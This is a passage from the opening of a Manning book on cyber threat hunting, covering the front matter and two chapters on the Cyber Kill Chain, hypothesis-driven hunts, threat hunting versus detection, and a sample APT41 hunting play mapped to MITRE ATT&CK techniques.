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  front matter


  foreword


  If you work in security, you’ve likely heard the buzz about threat hunting. But what is threat hunting, really? Is it a fancy term for “looking for bad stuff,” or is there more to it? This book (Cyber Threat Hunting) aims to answer these questions and more, taking you on a journey from the basics to the nitty-gritty of building a threat-hunting practice. I love that it starts with a clear definition!


  What’s inside


  This book isn’t just theory. It’s also full of practical advice, real-world examples, and even hands-on exercises. You’ll learn about the following:


  
    	
      The threat-hunting mindset—Threat hunting isn’t your grandma’s security. It’s about being proactive, assuming breaches, and relentlessly pursuing the bad guys.

    


    	
      Building a framework—You won’t be hunting in the dark. The book guides you through creating a structured, repeatable process for your hunts.

    


    	
      Tools and techniques—You’ll get a toolbox full of methods, from basic searches to advanced analytics, to uncover hidden threats.

    


    	
      Hunting in the cloud—Let’s face it, the cloud is where a lot of the action is these days.

    

  


  Who should read it


  This book isn’t for the faint of heart, as it goes deep in some areas. It’s aimed at security pros who are ready to roll up their sleeves and get a threat-hunting program started. You’ll need some basic knowledge of security controls, networking, and operating systems.


  Why I recommend it


  In the ever-evolving landscape of cybersecurity, threat hunting has emerged as a critical proactive defense strategy, yet many people are confused about it. Cyber Threat Hunting serves as a resource for security professionals seeking to build their threat-hunting expertise. With its practical approach, real-world examples, and hands-on exercises, the book equips readers with the knowledge and tools they need to effectively hunt for and neutralize threats that evaded traditional security measures. Whether you are a seasoned threat hunter or new to the field, this book is a strong read that can give you the tools to enhance your organization’s security posture.


  —Anton Chuvakin


  Security adviser at Office of the CISO, Google Cloud


  preface


  Cybersecurity is a critical aspect of the digital age, in which threats evolve rapidly. The need for a proactive approach to uncovering cyber threats has never been greater.


  This book, Cyber Threat Hunting, was born out of a passion for helping cybersecurity professionals and organizations protect their environments through advanced techniques. Throughout my career, I have observed the increasing complexity of cyber attacks and the need for a proactive approach and advanced investigative techniques. With this book, my goal is to equip readers with the mindset, knowledge, and tools to uncover cyber threats before they can cause significant damage.


  You’ll use several platforms and tools to deliver threat-hunting expeditions, including Humio, Splunk, and Jupyter Notebooks.


  The book serves as a practical guide for threat hunters and cybersecurity professionals. The journey you’ll embark on will build and deepen your understanding of cyber threat hunting and your ability to counter sophisticated cyber threats.


  acknowledgments


  Writing this book would not have been possible without the support and encouragement of my family and several individuals. I thank my family, friends, and colleagues for their unwavering support. Special thanks go to my development editor, Ian Hough, and my technical editor, Xiaokui Shu, whose insights and feedback were invaluable in shaping the content of this book. In addition, I thank the entire Manning production staff who helped shepherd this book into its final form.


  I also want to thank the cybersecurity community for continually sharing knowledge and inspiring innovation. Through collaboration and learning, we can stay ahead of malicious actors and create safer digital environments.


  Thanks to all the reviewers: Zoheb Ainapore, Michał Ambroziewicz, Jim Amrhein, Stanley Anozie, Martin Beer, Neumann Chew, Nathan Delboux, Zulfikar Dharmawan, Kamesh Ganesan, Rob Goelz, Tim Homan, Vivek Krishnan, Paul Love, Sriram Macharla, Richard Magnuson, Jean-Baptiste Bang Nteme, Björn Neuhaus, George Onofrei, Rohit Poduval, Adail Retamal, Pierluigi Riti, Satej Kumar Sahu, Iyabo Sindiku, Jason Taylor, Mary Anne Thygesen, Doyle Turner, Richard Vaughan, Håvard Wall, and Matt Van Winkle. Your suggestions helped make this book better.


  To the readers of this book: thank you for taking the time to explore this important topic. Your dedication to cybersecurity is what drives progress in this field.


  about this book


  Who should read this book


  Cyber Threat Hunting is intended for cybersecurity professionals, security analysts, and members of IT teams who want to develop a proactive approach to identifying and responding to cyber threats. If you want to enhance your skills in threat hunting, understand attacker behavior, and establish a strong cyber threat–hunting practice, this book is for you. Whether you’re starting your journey in cybersecurity or are an experienced cybersecurity professional, the techniques and strategies discussed here will provide valuable insights.


  How this book is organized: A road map


  This book is divided into four parts, each focusing on a different aspect of cyber threat hunting, covering people, processes, and technology. It starts by establishing the fundamentals, including how to set up an effective threat-hunting program. From there, the book delves into advanced techniques, using threat intelligence, statistics, and machine learning to uncover and investigate cyber threats.


  Each chapter builds on the previous one, guiding you from the basics to advanced strategies and offering examples and hands-on activities to illustrate the concepts in action.


  About the code


  Throughout this book, you’ll find many examples of source code, data, configuration files, and scripts used in real-world threat-hunting scenarios. These code examples are presented in a fixed-width font to distinguish them from the main text. Where necessary, I’ve added line breaks and adjusted indentation to make the code easier to read on the page. Source code is formatted in a fixed-width font like this to separate it from ordinary text. Sometimes, code is also in bold to highlight changes from previous steps in the chapter, such as when a new feature adds to an existing line of code.


  In many cases, the original source code has been reformatted; I’ve added line breaks and reworked indentation to accommodate the available page space in the book. In rare cases, even this was not enough, and listings include line-continuation markers (➥). Additionally, comments in the source code have been removed from the listings when the code is described in the text. Code annotations accompany many of the listings, highlighting important concepts.


  You can get executable snippets of code from the liveBook (online) version of this book at https://livebook.manning.com/book/cyber-threat-hunting. This code allows you to practice and apply the techniques discussed in the book using sample data sets. The complete code for the examples in the book is available for download from the Manning website at https://www.manning.com/books/cyber-threat-hunting and from GitHub at https://github.com/threat-hunt.


  liveBook discussion forum


  Purchase of Cyber Threat Hunting includes free access to liveBook, Manning’s online reading platform. Using liveBook’s exclusive discussion features, you can attach comments to the book globally or to specific sections or paragraphs. It’s a snap to make notes for yourself, ask and answer technical questions, and receive help from the author and other users. To access the forum, go to https://livebook.manning.com/book/cyber-threat-hunting/discussion. You can also learn more about Manning’s forums and the rules of conduct at https://livebook.manning.com/discussion.


  Manning’s commitment to our readers is to provide a venue where meaningful dialogue between individual readers and between readers and the author can take place. It is not a commitment to any specific amount of participation on the part of the author, whose contribution to the forum remains voluntary (and unpaid). We suggest that you try asking the author some challenging questions lest his interest stray! The forum and the archives of previous discussions will be accessible on the publisher’s website as long as the book is in print.
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  Dr. Nadhem AlFardan has more than 20 years of experience in information security and holds a PhD in Information Security from Royal Holloway, University of London. Before joining Cisco, he worked for Schlumberger and HSBC. As a principal architect at Cisco, Nadhem led and participated in several large-scale security projects worldwide, including security architecture, information security management systems, and security operation center designs, deployments, and operations.


  Over the years, he has worked with organizations such as Google, Microsoft, Cisco, Mozilla, and OpenSSL, mainly to help them assess and fix major findings in the TLS/SSL protocol. In addition, he is the co-author of Cisco Press’s Security Operations Center: Building, Operating and Maintaining Your SOC, published in 2015.


  about the cover illustration


  The figure on the cover of Cyber Threat Hunting is “Femme de Murcia” (“Woman from Murcia”), taken from a collection by Jacques Grasset de Saint-Sauveur, published in 1797. Each illustration is finely drawn and colored by hand.


  In those days, it was easy to identify where people lived and what their trade or station in life was by their dress alone. Manning celebrates the inventiveness and initiative of the computer business with book covers based on the rich diversity of regional culture centuries ago, brought back to life by pictures from collections such as this one.


  Part 1. Threat-hunting fundamentals


  Part 1 sets the stage for your threat-hunting journey by introducing essential concepts of a successful threat-hunting practice.


  Chapter 1 explores the fundamentals of threat hunting: what it is, why it is an essential part of any cybersecurity program, and how it differs from other forms of cyberdefense capabilities. In the process, you’ll discover the importance of being proactive by hunting for threats before they translate into what could be significant cybersecurity incidents.


  In chapter 2, the focus shifts to laying the foundation of a robust threat-hunting framework. Here, you’ll learn to build an environment that supports threat hunting, including the tools, data sources, and processes necessary for success. We’ll explore critical elements such as data, visibility, and reliable and scalable data stores.


  By the end of this part, you’ll have gained a solid understanding of what threat hunting entails and of the foundational tools and processes required to embark on your first hunting expedition, bringing you one step closer to becoming a proficient threat hunter.


  1 Introducing threat hunting


  This chapter covers


  
    	The stages of the Cyber Kill Chain


    	How threat hunters uncover cyber threats


    	Threat hunting versus threat farming


    	The hypothesis-driven approach of the threat- hunting process


    	The characteristics of successful threat hunting


    	The core tools that threat hunters use

  


  The chapter introduces the Cyber Kill Chain, provides an overview of the cybersecurity threat landscape, and shows how threat hunting tackles complex cybersecurity challenges. We will discuss the thought process behind threat hunting, laying down the fundamental concepts of a successful practice. The chapter also highlights the differences and similarities between threat hunting and threat detection and ends with an overview of threat hunters’ core tools. We’ll start with an overview of the cybersecurity threat landscape and see why threat hunting is essential.


  Definition This book defines cyber threat hunting as a humancentric security practice that takes a proactive approach to uncovering threats that evaded detection tools and threats that were detected but dismissed or undermined by humans.


  1.1 Cybersecurity threat landscape


  Today’s cyber threat landscape is complex, evolving, and diverse. Threat actors ranging from organized cybercriminals to state-sponsored groups actively improve their existing attack techniques and tools and create new ones to move through the Cyber Kill Chain.


  Figure 1.1 shows the Cyber Kill Chain, developed by Lockheed Martin (https://mng.bz/KD5X). It describes the set of stages that adversaries typically go through to achieve their final objective(s). The Cyber Kill Chain consists of seven stages:


  
    	
      Reconnaissance—The attacker assesses the situation to identify potential attack targets and tactics. An attacker might harvest social media accounts or perform an active vulnerability scan on publicly accessible applications.

    


    	
      Weaponization—The attacker develops the code to exploit vulnerabilities or weaknesses that the reconnaissance stage uncovered. An attacker might prepare a phishing email, SQL injection code, or malware code.

    


    	
      Delivery—The attacker uses the delivery vectors to send the weaponized payload. An attacker might use email to deliver malware code.

    


    	
      Exploitation—The attacker executes the code they created in the weaponization stage.

    


    	
      Installation—The attacker creates a channel that allows them to reach the compromised system.

    


    	
      Command and control—The attacker establishes a command-and-control (C2) channel with an external server. An attacker might use the X platform as a covert C2 channel to communicate with compromised systems.

    


    	
      Actions on objective—The attacker fulfills the objective(s) of the attack. A ransomware attacker might encrypt files on the endpoint, for example.
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    Figure 1.1 Lockheed Martin Cyber Kill Chain

  


  A popular meme in cybersecurity, credited to Dmitri Alperovitch, states, “There are only two types of companies: those that know they’ve been compromised and those that don’t know.” Threat hunting allows organizations to take a proactive approach in which they assume that they have been hacked and can uncover evidence.


  1.2 Why hunt?


  There is no perfect cybercrime. Adversaries leave clues and a trail of evidence when they execute one or more of the stages in the Cyber Kill Chain. As a result, advanced adversaries have shifted from noisy attacks that trigger security alarms to stealthy ones that leave a small footprint and trigger minimal alerts (if any), going unnoticed by automated detection tools. According to a report published by SANS Institute, “the evolution of threats such as file-less malware, ransomware, zero days, and advanced malware, combined with security tools getting bypassed, poses an extensional risk to enterprises” (https://threatpost.com/2021-attacker-dwell-time-trends-and-best-defenses/166116/).


  The increased sophistication of threat actors in covert operations and their ability to launch attacks with minimal detection drive organizations to think beyond standard detection tools. The change in adversary behavior requires defenders to establish proactive capabilities such as threat hunting and deploy advanced analytics using statistics and machine learning. Hunters can search regularly for potential data exfiltration activities through the Domain Name System (DNS) by applying volume-based statistical analytics; they don’t have to wait for or rely on network security tools such as intrusion detection systems (IDSes) to generate security alerts.


  Organizations rely on threat hunters to uncover threats during threat-hunting expeditions, resulting in reduced dwell time and increased resilience. Dwell time is the time between an attacker’s initial penetration of an environment (first successful execution) and the point at which the organization discovers the attack (threat detection). In addition to reducing dwell time, running threat-hunting expeditions introduces other security benefits, such as the following:


  
    	
      Identifying gaps in security prevention and detection capabilities

    


    	
      Tuning existing security monitoring use cases

    


    	
      Identifying new security monitoring use cases

    


    	
      Identifying vulnerabilities that assessment activities did not uncover

    


    	
      Identifying misconfiguration in systems and applications that might affect security, operation, and compliance

    

  


  To realize these benefits, organizations need to establish and operate a robust threat-hunting process that clearly describes the inputs and outputs of threat-hunting expeditions. This book helps you establish a robust threat-hunting program through practical examples and templates.


  1.3 Structuring threat hunting


  Threat hunting takes a hypothesis-driven investigation approach. A hypothesis is a proposition that is consistent with known data but has been neither verified nor shown to be false. A good hypothesis should be relevant to the organization’s environment and testable in terms of the availability of data and tools. A hypothesis-based approach is referred to as structured threat hunting.


  Conversely, unstructured threat hunting refers to activities in which hunters analyze the data at their disposal for anomalies without a predefined hypothesis. A hunter might process and visualize data to look for unexpected changes in patterns, such as unusual spikes or dips. Finding such changes can lead the hunter to investigate further and uncover undetected threats. This book focuses on structured threat hunting, but I don’t discourage you from exploring data without having a formal hypothesis from time to time. Following is an example threat-hunting hypothesis:


  An adversary has gained access to one or more of the organization’s Microsoft Windows endpoints. PowerShell is one of the tools that the adversary used to perform unauthorized activities.


  1.3.1 Coming up with a hypothesis


  The threat landscape associated with the environment you’re trying to protect should drive the hypothesis you create and execute. Different sources on threats and their relevance to the environment can help hunters understand the threat landscape and translate this understanding to hypotheses. Following are examples of these sources:


  
    	
      Internal and external threat intelligence sources

    


    	
      The results of threat modeling exercises

    


    	
      The results of red-team exercises

    


    	
      Reviews of existing threat standards and frameworks

    


    	
      Analysis of previous or current security incidents

    

  


  1.3.2 Testing the hypothesis


  The threat hunter’s job is to test the hypothesis using the best resources at their disposal. Testing the hypothesis can start with defining a manageable list of activities to search for the first set of evidence or indicators concerning the hypothesis or guide the hunters to subsequent searches. Hunting for suspicious PowerShell activities, for example, could reveal the existence of the compromise, proving the hypothesis introduced in section 1.3. The successful execution of the following activities may uncover evidence of compromise:


  
    	
      Suspicious encoded PowerShell command

    


    	
      Suspicious execution of unsigned PowerShell scripts without warning

    


    	
      Process with suspicious PowerShell arguments

    


    	
      Suspicious PowerShell parent process

    

  


  This book gives you the opportunity to use different techniques to uncover threat scenarios, including ones involving PowerShell activities. When you conduct a hunt, one of three outcomes is possible:


  
    	
      Hypothesis proved—The analysis of the data collected during the hunting expedition confirms the correctness of the hypothesis. In this case, the hunting expedition uncovered a security incident.

    


    	
      Hypothesis disproved—The analysis of the data collected during the hunting expedition confirms the incorrectness of the hypothesis. In this case, the hunting expedition did not uncover a security incident.

    


    	
      Inconclusive—There is insufficient information to prove or disprove the hypothesis. This outcome could occur for various reasons, such as insufficient data, inappropriate tools, or scope limitations.

    

  


  warning Failure to prove a hypothesis doesn’t necessarily mean that the threat doesn’t exist. It means that the hunter couldn’t uncover the threat with the skill set, data, and tools available to them.


  1.3.3 Executing the threat hunt


  Executing a threat hunt might take an hour or a week, depending on factors such as these:


  
    	
      Initial suspicious activities—The number of initial use cases to execute in a search for the first set of clues.

    


    	
      Data—The amount of data to search, the complexity of the search, and the tools’ performance. Running a search against 1 TB of data in hot storage (disks with high I/O operations per second) would be much faster than running the same search on data in cold storage (disks with low I/O operations per second).

    


    	
      Threat complexity—Sophisticated attacks associated with advanced persistent threats (APTs), which might take weeks or months to investigate thoroughly. This is not to say that the hunt will last months—only that the hunt would take longer than average.

    


    	
      Access to data and systems—Inability to gain timely access to systems or data in the middle of a hunting expedition, which can prolong the hunt. Not giving the hunter timely access to the network flows maintained by a different team, for example, would waste time, forcing the hunter to wait, find more expensive and less reliable options, or end with an inconclusive outcome.

    

  


  This book focuses on structured threat hunting, in which the threat hunter works with other security team members to define and prove a hypothesis, targeting adversaries’ tactics, techniques, and procedures (TTPs).


  Definition: Structured threat hunting refers to using a clear set of steps to trigger, design, execute, and report a threat-hunting expedition.


  The organization’s threat-hunting maturity level should improve over time because hunters learn many lessons from running hunting expeditions. This book provides practical lessons on planning, building, and operating an effective threat-hunting program.


  1.4 Threat hunting vs. threat detecting


  Detection is tool-driven, whereas hunting is human-driven. In hunting, the hunter takes center stage, whereas tools play the main role in detection. Threat hunting relies heavily on the experience of the threat hunter to define the hypothesis, look for evidence in a vast amount of data, and continuously pivot in search of compromise. Threat hunting does not replace threat detection technologies, which are complementary.


  Threat detection refers to the reactive approach in which security operations center (SOC) analysts respond to security alerts generated by tools. SOC analysts would triage and investigate a security event generated by an endpoint detection and response (EDR) tool or a security alert generated by a security information and event management (SIEM) system.


  SOC analysts attend to security alerts detected and reported by security tools and perform triage and investigation of security incidents. Figure 1.2 shows the threat detection process at a high level, with SOC analysts primarily performing cyber threat farming. Like agricultural farmers, SOC analysts generally wait for alerts (ripe crops) to show up on a dashboard to triage and respond to (harvest and process).


  Hunting, on the other hand, takes a proactive approach. Hunters take the lead by going out in the field to conduct expeditions, equipped with the right mindset, experience, situational awareness, and tools. Section 1.6 discusses a high-level threat-hunting process.
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    Figure 1.2 High-level threat detection process

  


  Detection is an essential SOC service. Addressing deficiencies in the security monitoring service should be a top priority while establishing or outsourcing a threat-hunting capability. Organizations should not consider establishing a threat-hunting program to offload the work from the security monitoring team to threat hunters.


  Detection and hunting should work together to deliver better coverage of the cyber threat landscape. Detection and hunting interact and sometimes overlap. There will always be cases in which detection is an input to a threat hunt, and vice versa. A threat hunter might build a hypothesis that considers a widespread system compromise based on a few suspicious activities detected on one or more endpoints and observed by the security monitoring team.


  Detection and hunting can use the same or different analytic techniques to detect or hunt for malicious activities. User-behavior analytic tools, for example, deploy statistical analysis and machine learning to detect and report anomalous user behavior to the security monitoring team. Hunters can use similar techniques in cyber threat hunting. Although hunters don’t lead the development of machine learning models, they must understand the capabilities and limitations of various analytic techniques.


  NOTE Chapter 2 discusses why and how threat hunting and threat detection work together. The chapter presents a detailed process that integrates the threat-hunting practice with the rest of the security functions, including threat detection. In the process, I cover the preparation, execution, and communication phases of a threat-hunting play.


  1.5 The background of a threat hunter


  A threat hunter is a cybersecurity specialist who proactively and interactively seeks to uncover attacks or threats that evaded detection technologies deployed in the network. Successful threat hunters are curious, prepared to tackle new challenges, and equipped with a good understanding of their hunting field.


  As a threat hunter, you will face challenges such as unavailability of data, slow searches, improper event parsing, old technologies, and incomplete or no access to systems. You should discuss these challenges during and after a hunting expedition. Some challenges may be addressed in a reasonable time; others might not get addressed for a long time or at all, especially ones that involve financial investments. These challenges should not prevent you from finding new ways to enhance the effectiveness of the threat hunts by looking at other data and systems and tuning the techniques you deploy.


  Hunters are resourceful. An offensive mindset gives hunters an advantage in creating effective threat-hunting plays and executing threat-hunting expeditions.


  Not being able to prove the hypothesis during a hunting expedition should not discourage a hunter. This outcome is common and can have various causes, such as the following:


  
    	
      The attack or the threat described in the hypothesis doesn’t exist.

    


    	
      The hunter may not have full context about the environment. Running a threat hunt against a newly deployed set of systems and applications, for example, might be challenging.

    


    	
      The hunter may not have the skill set required to uncover sophisticated attacks against unfamiliar technologies. A hunter running a threat-hunting expedition against a private Kubernetes environment might be unfamiliar with containerized deployments, for example.

    


    	
      The hunter may lack the data they need to perform a better investigation.

    


    	
      The hunter might be using inappropriate techniques to uncover sophisticated attacks. Running basic searches to uncover APTs would not be effective, for example.

    

  


  As a threat hunter, you can’t be expected to know everything. Successful threat hunters spend ample time researching and trying new TTPs. Cybersecurity is a dynamic landscape, and having valuable research time enhances a hunter’s chances of uncovering advanced TTPs.


  NOTE Chapter 2 provides more details about threat hunters’ roles and responsibilities. In addition, chapter 13 describes how to empower threat hunters.


  1.6 The threat-hunting process


  Defining a process helps threat hunters establish, conduct, and continuously improve the overall threat-hunting practice and individual threat-hunting plays, increasing the probability of uncovering threats over time. The process not only helps improve the quality of threat hunts but also incorporates other values that threat hunting introduces to the organization, such as updating existing or developing new detection and threat intelligence content.


  Figure 1.3 shows a high-level threat-hunting process, starting with formalizing a hypothesis and then trying to prove the hypothesis. If the hunter can’t prove the hypothesis, they try to improve it by updating the details of the hypothesis and searching for the threat again. If the hypothesis is proved, the threat has been uncovered. The hunter doesn’t stop there, however; they expand the scope and search for indicators on other systems to understand the attack’s magnitude and spread. Then the hunter would engage the incident response team and share new content that would help the security monitoring and threat intelligence teams.


  
    [image: ]


    Figure 1.3 High-level threat-hunting process

  


  Following are the steps of the threat-hunting process:


     1.  Formulate a hypothesis. Define the hypothesis based on inputs collected from sources and activities such as threat modeling outcomes, TTPs received from internal and external threat intelligence providers, or searches for tactics and techniques described in standard frameworks such as MITRE ATT&CK. An organization’s threat intelligence team might track adversary groups such as APT39 (https://mng.bz/znr1), which targets Western European governments, foreign policy groups, and similar organizations. The hunter can formulate hypotheses based on relevant tactics and techniques deployed by the group.


  Before moving to the next step, the hunter needs to answer the following questions:


     a.  What activities do I need to look for to prove the hypothesis?


     b.  What data do I need to access?


     c.  How big is the data that I need to access?


     d.  How much time will the searches take, and how can I (with the help of platform specialists) optimize the searches?


     e.  What tools should I use?


     2.  Look for proof of the hypothesis in the environment. Search for indicators and evidence that can prove the hypothesis.


     3.  If the hypothesis is not proved, optimize and go back. Optimize the threat-hunting play by increasing the scope of the hunt, requesting further access to systems data, updating the search activities, or updating the hypothesis itself.


     4.  If the hypothesis is proved, do the following:  


     a.  Pivot and expand the scope. Research the extent of the security incident by expanding the scope of the hunt.


     b.  Improve existing or develop new detection and threat intelligence content. Recommend new security monitoring detection rules and update the threat intelligence content by sharing indicators or TTPs.


     c.  Engage the incident-response team. Raise a ticket and assign it to the team that handles the incident response. Depending on the complexity of the incident, also provide support to the incident-response team.


  Note Although structured hunting involves following an initial lead or clue, hunters should expect many pivots and side quests.


  1.7 Overview of technologies and tools


  Although threat hunting is humancentric, having access to relevant, reliable technologies and scalable, flexible tools is critical to the success of the threat hunter. Events and activities can be collected from endpoints and network elements and then forwarded to data stores to be accessed and searched. Alternatively, the hunter might need direct access to artifacts and events from data sources to perform search and investigation activities. Hunters should have the following core technologies and tools in their toolkit:


  
    	
      Endpoint activities on servers and clients—Access to process executions, network ports, registry details (in Windows), and system access events is a standard requirement for most hunts.


      The osquery tool (https://osquery.io) gives threat hunters access to various endpoint telemetry data. It allows the hunter to write SQL queries to explore operating system data. Some open source and commercial EDR tools have similar capabilities.

    


    	
      Data stores—Places that provide long-term event storage and searches. It’s common to send events collected from different sources in the network to a data store, such as Splunk or Elasticsearch, that is available to the security monitoring team and threat hunters.

    


    	
      Analytics—Facilitates scalable searches with tools such as Splunk or Elasticsearch and advanced functions (including statistics and machine learning) on platforms such as Apache Spark.

    

  


  Depending on the environment and the scope of the hunt, the hunter’s toolkit might contain other tools. A hunter might use Yet Another Recursive Acronym (YARA) rules to research and capture suspicious activities on endpoints or push Snort rules to network security tools, such as intrusion detection platforms to capture network activities of interest.


  This book describes open source and commercial tools that threat hunters use and shows how to use those tools to conduct threat hunts. In addition, it includes an appendix that describes how to set up some of the tools used in the book.


  Summary


  
    	
      The Cyber Kill Chain consists of seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objective.

    


    	
      Given the increased sophistication of threat actors, we should be proactive in our approach to cybersecurity.

    


    	
      Structured threat hunting is a hypothesis-driven practice that proactively tries to uncover threats that were not detected or threats that have been detected but dismissed or undermined by humans.

    


    	
      Threat detection is a reactive approach to cybersecurity; threat hunting is a proactive approach.

    


    	
      Understanding the mindset of a threat hunter and the threat-hunting process is crucial to becoming a successful threat hunter.

    


    	
      The threat-hunting process includes developing and then attempting to prove a hypothesis. If the hypothesis can’t be proved, the threat hunter adjusts it and searches for the threat again. If the hypothesis is proved, the threat hunter takes action against the threat and extends their search into other systems and processes.

    


    	
      Threat hunting requires skills and tools in endpoint activities on servers and clients, data stores, and analytics.

    

  


  2 Building the foundation of a threat-hunting practice


  This chapter covers


  
    	Developing a threat-hunting hypothesis


    	Documenting a threat-hunting play


    	Threat intelligence for threat hunting


    	Building a threat-hunting framework


    	The details of the threat-hunting process


    	Threat-hunting roles and responsibilities


    	Important frameworks and standards


    	Evaluating a threat-hunting practice

  


  Chapter 1 established foundational threat-hunting concepts. In this chapter, we discuss how to create a threat-hunting framework, starting with an overview of existing frameworks and standards in threat hunting. We discuss how and where a standard such as NIST Special Publication 800-53 Rev. 5 covers threat hunting and how a framework like MITRE ATT&CK can be used to establish hunts based on threat tactics, techniques, and procedures (TTPs).


  Next, we describe how to start a hunting practice and improve its maturity over time, supplying processes and templates to kick-start the work. We also describe the general role and responsibilities of the threat hunter, using a responsible, accountable, consulted, and informed model. Finally, we describe data sources and their importance to threat hunting. We provide an overview of common data sources and sets such as Windows native events, System Monitor (Sysmon) events , Linux events, network flows, and firewall events.


  This chapter covers many topics that I believe are core to understanding and appreciating the threat-hunting practice. Seasoned threat hunters can safely skip the first section.


  2.1 Establishing a threat-hunting practice


  Threat hunting is a humancentric security practice that takes a proactive approach to uncovering threats that evade detection tools, such as automated, rule- and signature-based security systems, and threats that have been detected but dismissed or undermined by humans. A threat-hunting practice establishes a systematic approach and a clear methodology for uncovering and managing threats. At a high level, establishing the practice formalizes the following objectives:


  
    	
      Clearly defining threat hunting and related concepts

    


    	
      Establishing a clear process for designing and conducting threat-hunting expeditions, supported by required artifacts such as hunting plays

    


    	
      Defining the roles and responsibilities of threat hunters and other organization members

    


    	
      Defining metrics to help evaluate and track the maturity of the threat-hunting practice and expeditions

    

  


  At the center of this practice is a hypothesis-driven approach, in which threat hunters operate under a “what if?” mindset. What if an adversary were able to implant a piece of malware on a critical server, bypassing existing endpoint security control? Or what if an adversary were able to exploit vulnerabilities on a public web server due to a misconfigured web application firewall protecting a vulnerable web server? The job of the threat hunter is to proactively and interactively seek to uncover attacks or threats that evade detection technologies deployed in various places in the network. Establishing a clear methodology and process is essential to building a threat-hunting practice that is structured, repeatable, and measurable.


  The first step in the process is creating a threat-hunting play—a document in which you clearly describe the hypothesis, outline the threat-hunting landscape and scope, detail your approach to validating the hypothesis, and reference the data and tools required for a successful threat-hunting expedition.


  When this play has been created and validated, you move to the execution phase: conducting a threat expedition, in which you try to prove the hypothesis using your experience, knowledge of the threat landscape, and data and tools at your disposal. For threat hunting to be most effective, hunters must have a good level of situational awareness that encompasses a deep understanding of the business, the supporting technologies and processes, and the internal and external cyber threats associated with this environment. A crucial part of situational awareness is recognizing and tracking external threat actors, such as a person, a group, or an organization driven to conduct malicious activity.


  A threat-hunting expedition can last anywhere from a few hours to several weeks, depending on factors such as the hunter’s experience, data availability, situational awareness, access to systems, threat complexity, and the adversary’s tactics and techniques to hide attack traces.


  Throughout an expedition, threat hunters collaborate with multiple members of the organization. As you conclude a threat-hunting expedition, whether or not you’ve proved the hypothesis, clearly communicating findings and recording lessons learned are essential parts of the final phase.


  2.2 Developing a threat-hunting hypothesis


  To start a structured hunt, you should first determine what to hunt for and what format to use to describe it. You might answer the question, “How can I come up with a reasonable hypothesis and document a threat-hunting play?”


  2.2.1 Threat scenario


  Suppose that the threat-intelligence team tells you that a threat group called APT41 is now a top actor in its threat watchlist. Construct a threat-hunting play to uncover this group’s activities when using shell-based techniques against Microsoft Active Directory (AD).


  Note The scenario considers a known threat actor that the threat-intelligence team considers relevant to the environment. In other cases, the actors and campaign are unknown, and you must rely on your experience, data, and tools to uncover them.


  2.2.2 Threat-hunting play


  You need to create a threat-hunting play that documents the title, reference number, background on the organization and the hunt play, the hypothesis you want to test, the scope of the hunt, the techniques you’d start with, the associated procedures and data sources, and internal and external references relevant to the hunt play. Let’s assume that you might be a target for APT41, which has been active since 2012. The group deploys various tactics and techniques, some of which target deployment of the Microsoft Windows operating systems and services, including AD:


  
    	
      Title—Hunt for APT41 activities in the Microsoft AD environment

    


    	
      Reference number—Hunt-Play-APT41-01

    


    	
      Background—An organizational threat assessment identified APT41 as a high-priority threat. MITRE’s ATT&CK Navigator details several techniques attributed to this threat actor. Several techniques are relevant to the organization’s AD environment.

    


    	
      Hypothesis—You hypothesize that the APT41 threat actor is present in the network and that you would detect evidence of multiple techniques deployed consistently with the group’s attack patterns.

    


    	
      Scope—The scope of the hunt covers the AD servers and other systems that use AD services.

    


    	
      Threat technique 1—


      
        	
          MITRE ATT&CK T1059.001—Command and Scripting Interpreter: PowerShell

        


        	
          Procedure—APT41 used PowerShell to deploy malware families in victims’ environments.

        


        	
          Data sources and events—Command/Command Execution, Module/Module Load, Process/Process Creation (Security Auditing event 4688 and Sysmon event 1) and Script/Script Execution

        

      

    


    	
      Threat technique 2—


      
        	
          MITRE ATT&CK T1059.003—Command and Scripting Interpreter: Windows Command Shell

        


        	
          Procedure—APT41 used cmd.exe /c to execute commands on remote machines. APT41 used a batch file to install persistence for the Cobalt Strike BEACON loader.

        


        	
          Data sources and events—Command/Command Execution and Process/Process Creation (Security Auditing event 4688 and Sysmon event 1)

        

      

    


    	
      References—


      
        	
          MITRE ATT&CK on APT41

        


        	
          Insikt Group, February 28, 2021, “China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions,” retrieved March 22, 2021

        


        	
          APT41 group assessment report developed by the organization’s threat intelligence team

        

      

    

  


  2.2.3 Formalizing the hunt hypothesis


  To start a structured hunt, you should first determine what to hunt for and what format to use to describe it. You might answer the question, “How can I come up with a reasonable hypothesis and document a threat-hunting play?”


  The hypothesis is at the center of structured threat hunting. It states what threats may be present in the network and how to identify them. The number of hypotheses should grow over time as the threat hunter gains better knowledge of the environment by gaining better situational awareness or consuming better threat-intelligence information that facilitates the creation of new threat hunts, or simply as the numbers of applications and systems grow.


  Over time, some threat hunts might transition to security detection rules. In addition, some hunts may become obsolete, such as after an application or system is decommissioned. You should consider the following attributes when developing a hypothesis:


  
    	
      Relevance—The hypothesis should be relevant to the environment. The threat hunter should apply situational awareness and domain expertise to drive the development and testing of a hypothesis. Situational awareness is gained over time, adding to the threat hunter’s experience and driving better threat-hunting design and execution. In our scenario, the threat hunter should be familiar with how AD works in general and its security aspects in specific (domain expertise), as well as with the current deployment of AD in the environment (situational awareness).

    


    	
      Testable—It should be possible to test the hypothesis using available data and tools. In our scenario, the threat hunter needs access to the operating system. AD events and tools collect and store these events, so the threat hunter can search for them.

    

  


  Following is a format you can use to document a threat-hunting play. The format consists of the following:


  
    	
      Background on the threat hunt, including information about the threat and the scope of the hunt field.

    


    	
      A description of the threat, hypothesizing that the threat exists and the threat hunter can uncover it.

    


    	
      The scope of the threat-hunting play, describing the hunt field.

    


    	
      A list of techniques and indicators to look for to reveal the threat actor. Select relevant techniques that combine information about the threat actor and the threat hunter’s experience in, and knowledge of, the environment. The threat hunter might identify corresponding MITRE ATT&CK techniques and subtechniques that are applicable to the hypothesis.

    


    	
      The procedures the adversary uses, which reveal the existence of the threat actor. Multiple procedures might be mapped to one technique.

    


    	
      The list of data sources and sets required to test the hypothesis, based on the techniques and procedures identified.

    


    	
      A reference section that lists internal or external documents, blogs, and other artifacts relevant to the threat-hunting play.

    

  


  In our scenario, the threat-intelligence team gave the threat hunter a good reason to establish one or more threat-hunting plays that are relevant to a threat group of interest: APT41, which is one of many active threat actors.


  Threat intelligence is an important source of critical insights into the current threat landscape. In our scenario, the threat-intelligence team shared information about the relevance of threat group APT41 as a threat actor to track.


  2.3 Cyber threat intelligence


